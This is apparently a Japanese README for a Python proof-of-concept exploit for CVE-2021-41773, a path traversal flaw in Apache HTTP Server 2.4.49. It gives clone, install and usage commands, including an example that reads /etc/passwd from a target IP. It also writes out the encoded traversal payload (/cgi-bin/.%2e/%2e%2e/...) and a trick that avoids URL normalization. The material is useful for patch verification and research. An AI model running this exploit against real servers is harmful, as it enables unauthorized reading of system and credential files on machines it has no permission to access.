
CVE-2021-41773 用 Python エクスプロイト - Apache HTTP Server 2.4.49 のパストラバーサル脆弱性
CVE-2021-41773 向けの Python エクスプロイトです。Apache HTTP Server 2.4.49 のパストラバーサル脆弱性を利用し、サーバー上の任意のファイルを読み取ることができます。
CVE-2021-41773 は、Apache HTTP Server 2.4.49 におけるパストラバーサル脆弱性で、ユーザー指定のパスの検証が不適切なために発生します。この脆弱性により、攻撃者は URL エンコードされたパストラバーサルシーケンスを使用して、ドキュメントルート外のファイルを読み取ることができます。
git clone https://github.com/blu3ming/PoC-CVE-2021-41773
cd PoC-CVE-2021-41773
pip install -r requirements.txt
python3 cve-2021-41773.py -t <target> -f <file_path>
-t, --target: ターゲット URL (必要に応じてプロトコルとポートを含める)-f, --file: サーバーから読み取るファイルパス# Read /etc/passwd
python3 cve-2021-41773.py -t http://192.168.1.100:443 -f /etc/passwd

このエクスプロイトは、URL エンコードされたパストラバーサルシーケンス (.%2e/%2e%2e/) を使用して Apache のパス検証をバイパスします。
.%2e) は初期のセキュリティチェックをバイパスします。重要なのは、requests.get() の代わりに urllib3.PoolManager() を使用して、エクスプロイトを壊す自動 URL 正規化を防ぐことです。
# The exploit URL structure:
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/{target_file}
これは次のように変換されます:
/cgi-bin/../../../../{target_file}